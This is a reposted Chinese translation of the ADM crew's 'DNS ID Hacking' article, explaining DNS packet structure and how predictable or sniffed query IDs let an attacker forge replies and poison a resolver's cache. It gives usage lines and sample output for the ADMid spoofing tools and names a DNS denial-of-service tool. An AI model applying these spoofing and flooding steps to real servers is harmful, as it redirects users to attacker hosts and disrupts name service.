[ 永遠的UNIX::UNIX技術資料的寶庫 ]   GB | BIG5

首頁 > 安全技術 > 系統 > 正文
DNS ID Hacking
本文出自:http://www.xfocus.org 作者: quack(quack@hack.co.za) (2002-12-11 06:02:01)

參考資料:DNS ID Hacking by ADM crew 

一、關DNS ID Hacking的一些描述 

你可能會對DNS ID Hacking\spoofing的含義有些迷惑,它與一般直接攻擊一樣,只 
不過利用的是DNS協議上的漏洞,並且可能有較大的普遍性及傷害作用好象沒什 
DNS服務器能夠逃過它甚至WINNT。 

1、DNS協議機制簡述 

首先我們來看看DNS是如何工作的,我將在這裡說明這一協議中相對重要的一些部份。 
為了更好的敘述,我們先用一個實例來看一看一個DNS請求的信息包是如何在網絡裡 
傳送的吧。 

1.1 : 客戶機(bla.bibi.com)發送一個請求要求解析域名"www.heike.com",bla.bibi.com 
的DNS是ns.bibi.com這台機器,現在我們看看下圖吧: 

/---------------------------------\ 
| 111.1.2.123  =  bla.bibi.com    | 
| 111.1.2.222  =  ns.bibi.com     | 
| 格式:                           | 
| IP_ADDR:PORT->IP_ADDR:PORT      | 
| 示例:                           | 
| 111.1.2.123:2999->111.1.2.222:53| 
\---------------------------------/ 

這圖是我們要分析的情況的示意,應該很清楚了,好,那就看看gethostbyname是如何 
工作的: 

.... 
  gethosbyname("www.heike.com"); 
.... 

[bla.bibi.com]                             [ns.bibi.com] 
111.1.2.123:1999 --->[?www.heike.com]------> 111.1.2.222:53 

這裡我們可以看到這個名字請求從bla.bibi.com的1999端口(隨機選擇)發送到了dns 
機器的53端口DNS的綁定端口。 

dns.bibi.com收到這個解析的請求,就開始了它的工作了…… 

[ns.bibi.com]                         [ns.internic.net] 
111.1.2.222:53 -------->[dns?www.heike.com]----> 198.41.0.4:53 

它先問ns.internic.net哪台機器是www.heike.com的主名稱服務器,如果沒查到的話 
它就把請求發往.com域的權威服務器。在這裡要先問ns.internic.net的原因是,可 
能這個域名在它的緩存裡存在著這可以節約時間。 

[ns.internic.net]                                      [ns.bibi.com] 
198.41.0.4:53 ------>[ns for.com is 144.44.44.4]------> 111.1.2.222:53 

這裡ns.internic.net就回答了ns.bibi.com,.com的權威DNS的IP在144.44.44.4,我 
們叫它ns.for.com吧,然ns.bibi.com會問ns.for.com關www.heike.com的地址, 
仍然沒有找到是又請求heike.com的DNS權威服務器的地址。 

[ns.bibi.com]                              [ns.for.com] 
111.1.2.222:53 ------>[?www.heike.com]-----> 144.44.44.4:53 

ns.for.com的應答。 

[ns.for.com]                                              [ns.bibi.com] 
144.44.44.4:53 ------>[ns for heike.com is 31.33.7.4]---> 144.44.44.4:53 

現在我們知道了管heike.com域的權威服務器的IP地址了,姑且稱之為ns.heike.com 
吧,我們可以問它www.hieke.com的IP地址了;) 

[ns.bibi.com]                              [ns.heike.com] 
111.1.2.222:53 ----->[?www.heike.com]----> 31.33.7.4:53 

現在我們得到了www.heike.com的IP嘍! 

[ns.heike.com]                                           [ns.bibi.com] 
31.33.7.4:53 ------->[www.heike.com == 31.33.7.44] ----> 111.1.2.222:53 

ns.bibi.com把它轉發給剛才發送請求的機器bla.bibi.com 

[ns.bibi.com]                                             [bla.bibi.com] 
111.1.2.222:53 ------->[www.heike.com == 31.33.7.44]----> 111.1.2.123:1999 

呵呵,現在bla.bibi.com就曉得www.heike.com的IP地址了 :) 

好了,現在我們假想另一種情況吧,我們希望通過機器的IP來得到它的域名,為了做 
到這點,我們做的是所謂的"指針查詢"。由DNS樹中名字是從底向上寫的,所以我們 
要做如下的一個轉換: 

示例: 

100.20.40.3將被表示為3.40.20.100.in-addr.arpa 

這種方式僅用DNS的IP解析請求。 

現在來看看我們通過31.33.7.44(www.heike.com)的IP來查詢它的域名的過程吧,或者 
說是通過44.7.33.31.in-addr.arpa來查詢它的域名的過程;) 

.... 
   gethostbyaddr("31.33.7.44"); 
.... 

[bla.bibi.com]                                          [ns.bibi.com] 
111.1.2.123:2600 ----->[?44.7.33.31.in-addr.arpa]-----> 111.1.2.222:53 

我們發送請求到ns.bibi.com 

[ns.bibi.com]                                          [ns.internic.net] 
111.1.2.222:53 ----->[?44.7.33.31.in-addr.arpa]------> 198.41.0.4:53 

ns.internic.net將會把認証該IP的地址'31.in-addr.arpa'返回給請求者 

[ns.internic.net]                                             [ns.bibi.com] 
198.41.0.4:53 --> [DNS for 31.in-addr.arpa is 144.44.44.4] -> 111.1.2.222:53 

現在ns.bibi.com向144.44.44.4問同樣的問題 

[ns.bibi.com]                                          [ns.for.com] 
111.1.2.222:53 ----->[?44.7.33.31.in-addr.arpa]------> 144.44.44.4:53 

如此循環,其實這種方式與gethostbyname沒有什兩樣…… 

我希望你能理解上述的DNS對話,現在我們開始進一步了解DNS報文的格式吧。 

1.2 :  DNS報文 

這裡是DNS報文的大致格式 : 

    +---------------------------+---------------------------+ 
    |     標識 (最重要的 :)     |          參數             | 
    +---------------------------+---------------------------+ 
    |        問題數             |         回答數            | 
    +---------------------------+---------------------------+ 
    |        管理機構數         |        附加信息數         | 
    +---------------------------+---------------------------+ 
    |                                                       | 
    \                                                       \ 
    \                         問題                          \ 
    |                                                       | 
    +-------------------------------------------------------+ 
    |                                                       | 
    \                                                       \ 
    \                         回答                          \ 
    |                                                       | 
    +-------------------------------------------------------+ 
    |                                                       | 
    \                                                       \ 
    \                  附加信息(無關緊要)                   \ 
    |                                                       | 
    +-------------------------------------------------------+ 

1.3 : DNS報文結構 


標識(id) 

這是用來鑒証每個DNS報文的印記,由客戶端設置,由服務器返回,它可以讓客戶匹 
配請求與響應。面我們將更詳細地提到…… 

參數(flags) 

參數域被分成好幾個部份 : 

       4 位                      3 位,總是0 
       |                         | 
       |                         | 
[QR | opcode | AA| TC| RD| RA | zero | rcode ] 
                                         | 
|           |__|__|__|                  |______ 4 位 
|                    |_ 1 位 

1 位 

QR     = 如果QR位設為0表示報為是查詢,如果1則是響應 
opcode = 通常是0,指標準查詢,1是反向查詢,2是服務器狀態查詢。 
AA     = 如果此位為1,表示服務器對問題部份的回答是權威性的。 
TC     = 截斷,如果UDP包超過512字節將被截流 
RD     = 表示希望遞歸,如果它設為1的話,表示遞歸查詢。 
RA     = 如果設為1,表示遞歸可用。 
Zero   = 如它的名稱一樣,總是0 
rcode  = 就象errno一樣,0表示沒有錯誤,3表示名字錯誤。 


DNS查詢報文: 

下面是DNS報文查詢的格式 : 

+-----------------------------------------------------------------------+ 
|                             查詢名                                    | 
+-----------------------------------------------------------------------+ 
|       查詢類型                 |             查詢類                   | 
+--------------------------------+--------------------------------------+ 

一個報文查詢的結構是下面這樣的 

示例: 

www.heike.com是[3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] 

對IP地址來說,也是同樣的;) 

44.33.88.123.in-addr.arpa是: 

[2|4|4|2|3|3|2|8|8|3|1|2|3|7|i|n|-|a|d|d|r|4|a|r|p|a|0] 

還有一種壓縮格式,但我們不需要用到,就略過了。 

查詢類型: 

這裡是一些我們最經常用到的查詢類型這些類型大約有20種不同的類型,我可懶 
得全部列出來了;) 

  名稱      值 
   A    |   1    | IP地址           (將域名解析為IP) 
   PTR  |   12   | 指針             (將IP解析為域名) 


DNS響應報文: 

響應報文有個共同的格式,我們稱之為資源記錄RR 

下面是響應報文的格式(RR) 

+------------------------------------------------------------------------+ 
|                                域名                                    | 
+------------------------------------------------------------------------+ 
|          類型                    |              類                     | 
+----------------------------------+-------------------------------------+ 
|                           TTL (生存時間)                               | 
+------------------------------------------------------------------------+ 
|      資源數據長度          |                                           | 
|----------------------------+                                           | 
|                              資源數據                                  | 
+------------------------------------------------------------------------- 

域名 : 

域名是與下面的資源數據對應的名字,它的格式同前面講到的查詢名一樣,比如還是 
www.heike.com吧,它的域名是用下面方式表現的:[3|w|w|w|5|h|e|i|k|e|3|c|o|m|0] 

類型 : 

類型標識了RR類型代碼號,它同前面講到的查詢類值一樣。 

類 : 

通常為1,表示因特網數據。 

生存時間: 

表示客戶方將RR放在高速緩存裡的時間,RRs的TTL通常為2天。 

資源數據長度 : 

標識資源數據的大小。 

下面我們將用一個簡單的例子來幫助大家理解: 
這個例子展示了當ns.bibi.com向ns.heike.com詢問www.heike.com地址時,這些數據 
報文的模樣。 

ns.bibi.com:53 ---> [?www.heike.com] ----> ns.heike.com:53 (Phear Heike ;) 

+---------------------------------+--------------------------------------+ 
|      標識(ID) = 1999            |      QR = 0 opcode = 0 RD = 1        | 
+---------------------------------+--------------------------------------+ 
|     問題數 = htons(1)           |             回答數 = 0               | 
+---------------------------------+--------------------------------------+ 
|     管理機構數 = 0              |           附加信息數 = 0             | 
+---------------------------------+--------------------------------------+ 
<問題部份> 
+------------------------------------------------------------------------+ 
|                  查詢名 = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]              | 
+------------------------------------------------------------------------+ 
|          查詢類型 = htons(1)    |           查詢類=htons(1)            | 
+---------------------------------+--------------------------------------+ 

上面是查詢報文 

現在我們來看看ns.heike.com的回答 

ns.heike.com:53 -->[IP of www.heike.com is 31.33.7.44] --> ns.bibi.com:53 

+---------------------------------+---------------------------------------+ 
|         標識(ID) = 1999         |    QR=1 opcode=0 RD=1  AA =1  RA=1    | 
+---------------------------------+---------------------------------------+ 
|         問題數 = htons(1)       |           回答數 = htons(1)           | 
+---------------------------------+---------------------------------------+ 
|        管理機構數 = 0           |             附加信息數 = 0            | 
+---------------------------------+---------------------------------------+ 
+-------------------------------------------------------------------------+ 
|                 查詢名 = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]                | 
+-------------------------------------------------------------------------+ 
|        查詢類型 = htons(1)      |          查詢類 = htons(1)            | 
+-------------------------------------------------------------------------+ 
+-------------------------------------------------------------------------+ 
|               查詢名 = [3|w|w|w|5|h|e|i|k|e|3|c|o|m|0]                  | 
+-------------------------------------------------------------------------+ 
|        類型       = htons(1)    |          類   = htons(1)              | 
+-------------------------------------------------------------------------+ 
|                       time to live = 999999                             | 
+-------------------------------------------------------------------------+ 
|       資源數據長度 = htons(4)   |    資源數據=inet_addr("31.33.7.44")   | 
+-------------------------------------------------------------------------+ 

OK,就這多了;) 

分析 : 

在應答中QR = 1 是因為它是應答;) 
AA = 1 因為名稱服務器是權威服務器 
RA = 1 是因為遞歸是可用的 

好了,我希望你能理解上面所說的一切,下面要進行的攻擊裡要用到上面的理論的。 

二、DNS ID的攻擊及欺騙 

現在是我們來更詳細解釋什是DNS ID攻擊及欺騙的時候的,就象我剛才所說的,DNS 
守護進程用來承認/驗証不同的查詢/應答是依靠報文中的標識段(ID),看看下面的例子: 

ns.bibi.com;53 ----->[?www.heike.com] ------> ns.heike.com:53 

你只需要用假的ns.heike.com進行欺騙,並且在真正的ns.heike.com返回信息 
ns.bibi.com之前先給出它所查詢的ip地址。 

ns.bibi.com <------- . . . . . . . . . . .  ns.heike.com 
                   | 
                   |<--[IP for www.heike.com is 1.2.3.4]<-- hum.roxor.com 

圖示很直觀了,就是在ns.heike.com前回答一個偽造信息。但這種方法要實現起來有 
一個困難必須偽造ID!也就是說,如果無法判別這個標識符的話,欺騙將無法進 
行。如果在局域網上,這很容易實現,只要裝一個sniffer就萬事OK了。 

如果要在廣域網上實現它,你並沒有太多的選擇,只有下面四種方式: 

1.) 隨機地測試所有ID的可能存在的值。這種辦法比較不實用,除非你希望確切地知 
    道該ID究竟是多少,或者有一些有利條件可以使其更容易實現。 

2.) 發送更多的DNS查詢(200 或者 300) 來提升"碰上"正確ID的機會。 

3.) 把DNS服務器給Flood了,這樣它沒辦法提供服務,會出現類似下面的錯誤信息: 

    >> Oct 06 05:18:12 ADM named[1913]: db_free: DB_F_ACTIVE set - ABORT 
       at this time named daemon is out of order :) 

4.) 你可以利用由SNI (SecureNetworks, Inc.)發現的BIND漏洞關泄漏洞ID的, 
    面我們將對其做更進一步討論。 


#####################     Windows ID 漏洞     ########################### 

在windows95裡有一個嚴重的ID漏洞,它的ID在默認情況下總是1;),如果有第二個查詢的話
,那 
就設為2(這種情況只出現兩個查詢在同一時間發生)。 

########################     BIND 漏洞     ############################## 

DNS使用的是隨機的ID,但它有一個特點就是它總是在下一個質詢中給ID+1…… 

對它的這個特性,我們可以很容易地用以下方法來利用: 

1. 我們可以sniff一個DNS,截斷入境的DNS查詢,這裡ns.dede.com是我們的目標DNS。 

2. 你向NS.victim.com要求解析random.dede.com,是NS.victim.com會向ns.dede.com要求
 
   解析random.dede.com。 
   
   ns.victim.com ---> [?(rand).dede.com ID = 444] ---> ns.dede.com 

3. 現在你知道了來自NS.victim.com的ID號了,在本例中ID是444。 

4. 然你發出你的查詢請求比如www.microsoft.com到NS.victim.com 
   
   (you) ---> [?www.microsoft.com] ---> ns.victim.com 

   ns.victim.com --> [?www.microsoft.com ID = 446 ] --> ns.microsoft.com 
     
5. 用ID號為444的信息包Flood ns.victim.com這台DNS當然這就是你想完成的破壞了;)
 

ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 444] --> ns.victim.com 
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 445] --> ns.victim.com 
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 446] --> ns.victim.com 
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 447] --> ns.victim.com 
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 448] --> ns.victim.com 
ns.microsoft.com --> [www.microsoft.com = 1.1.1.1 ID = 449] --> ns.victim.com 


*** ADMsnOOfID這個工具就是幹這事的;) 


還有另一個辦法也是幹這個活的,你不需要是DNS的root。 
它的機制也是相當簡單的,介紹如下: 

我們要求ns.victim.com解析*.provnet.fr 

(you) ----------[?(random).provnet.fr] -------> ns.victim.com 

這時ns.victim.com向ns1.provnet.fr要求解析random.provnet.fr,這很正常,有趣的 
事情在面。 

從這時開始,你用偽造的信息(用ns1.provnet.fr的IP)來flood那台叫ns.victim.com的DNS,
 
ID從100到110。 

(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=100] --> ns.victim.com 
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=101] --> ns.victim.com 
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=102] --> ns.victim.com 
(spoof) ----[(random).provnet.fr is 1.2.3.4 ID=103] --> ns.victim.com 
...... 

然我們可以再詢問ns.victim.com那台random.provent.fr的IP。 

如果ns.victim.com回復了random.provnet.fr的IP,我們就能夠找出當前正確的ID了,否則
我 
再重復這一過程直到成功這可能會花費比較長的時間,但它是有效的。 

ADMnOg00d做的就是這事;) 

三、ADMid工具包介紹 

工具包裡包含5個小工具(我並沒有測試過,不知效果如何) 

ADMkillDNS  - 非常簡單的DNS欺騙工具 
ADMsniffID  - sniff一個局域網並且在NS之前回復DNS查詢 
ADMsnOOfID  - DNS ID欺騙工具(你必需是一台NS的root) 
ADMnOg00d   - DNS ID欺騙工具(不需要是NS的root) 
ADNdnsfuckr - 一個簡單的對付DNS的DOS工具 

1: ADMdnsfuckr 

ADMdnsfuckr是一個破壞DNS的工具. 

它的使用非常簡單 !!! :) 

usage: 

ADMdnsfuckr <victim> 

ex: ADMdnsfuckr bob.lenet.fr 



2: ADMsniffID 

ADMsniffID 是一個hijacker .. 

usage:   

ADMsniffID <device> <spoof IP> <spoof NAME> [type 1 or 12 ] 

type為1表示TYPE是A , 12則表示TYPE是 PTR 

ex: 

ADMsniffID eth0 31.3.3.7 www.i.m.mucho.horny.ya 12 ( we  hijack TYPE PTR ) 

[root@ADM root]#nslookup  1.2.3.4 
Server:  localhost 
Address:  127.0.0.1 

Name:    www.i.m.mucho.horny.ya 
Address:  1.2.3.4 



3: --= ADMsnOOfID =-- 

usage: 
ADMsnOOfID <device to spoof>  <NS victim> <your domain>  <ip of your dns> 
<type (1,12)> <spoof name> <spoof ip> <ns with auth on spoof ip or name> 

ex: 

ADMsnOOfID ppp0 NS2.MCI.NET janova.org shok.janova.org 12 
           www.i.m.ereet.ya 194.206.23.123  ns2.provnet.fr .. 


然你可以看看結果如何;) 

[root@ADM root]#nslookup 194.206.23.123  ns2.mci.net 
Server:  ns2.mci.net 
Address:  204.70.57.242 

Name:    www.i.m.ereet.ya 
Address:  194.206.23.123 

[root@ADM root]# 


我們使用ns2.provnet.fr是因為ns2.provnet.fr對194.206.23.*提供認証。 

要找出誰對194.206.23.*提供認証,你可以: 

[root@ADM root]#host -t NS 23.206.194.in-addr.arpa 
23.206.194.in-addr.arpa name server NS2.PROVNET.FR 
23.206.194.in-addr.arpa name server BOW.RAIN.FR 
23.206.194.in-addr.arpa name server NS1.PROVNET.FR 
[root@ADM root]# 

要找出對*.provnet.fr進行認証的NS,可以: 

[root@ADM root]#host -t NS provnet.fr 
provnet.fr name server NS1.provnet.fr 
provnet.fr name server BOW.RAIN.fr 
provnet.fr name server NS2.provnet.fr 
[root@ADM root]# 

Note: 這可能會改變!!! 所以你可以在對NS1先欺騙一把再對NS2做同樣的事;)確保無誤,安
全第一:) 

這裡舉另一個例子,spoof type是1的 

ADMsnOOfID ppp0 ns.mci.net janova.org shok.janova.org 1 wwwkewlya.provnet.fr 
31.3.3.7 ns1.provnet.fr 

然…… 

[root@ADM root]#nslookup wwwkewlya.provnet.fr ns.mci.net 
Server:  ns.mci.net 
Address:  204.70.128.1 

Non-authoritative answer: 
Name:    wwwkewlya.provnet.fr 
Address:  31.3.3.7 

[root@ADM root]# 

Ok 這就是 ADMsnOOfID 的用法了 :) 



4: ADMnOg00d 

你不需要對某台DNS的控制權了…… 

usage: 

ADMnoG00D <your ip> <dns trust> <domaine trust> <ip victim> <TYPE> <spoof 
name> <spoof ip> <ns.trust.for.the.spoof> [ID] 

ex: 

ADMnOg00d ppp45.somewhere.net ns1.provnet.fr provnet.fr  taz.cyberstation.fr 12 
PheAr.ADM.n0.g00d 
194.206.23.144 ns2.provnet.fr 7000 

(我從ID 7000開始,因為我確切地知道當前taz.cyberstation.fr的ID) 

當找到ID,真正的spoof就開始了,現在我們看看…… 

[root@shok root1]#  nslookup 194.206.23.144 taz.cyberstation.fr 
Server:  taz.cyberstation.fr 
Address:  194.98.136.1 

Name:    PheAr.ADM.n0.g00d 
Address:  194.206.23.144 

再提供一個spoof type 是1 的例子吧 

ADMnOg00d ppp45.somewhere.net ns1.provnet.fr provnet.fr  taz.cyberstation.fr 1 
w00c0w.provnet.fr 2.6.0.0 ns1.provnet.fr 7000 

一會兒之…… 

nslookup w00c0w.provnet.fr taz.cyberstation.fr 
... 
Server:  taz.cyberstation.fr 
Address:  194.98.136.1 

Non-authoritative answer: 
Name:    w00c0w.provnet.fr 
Address:  2.6.0.0   


  (http://www.fanqiang.com)
    進入【UNIX論壇

相關文章
 

★  樊強制作 歡迎分享  ★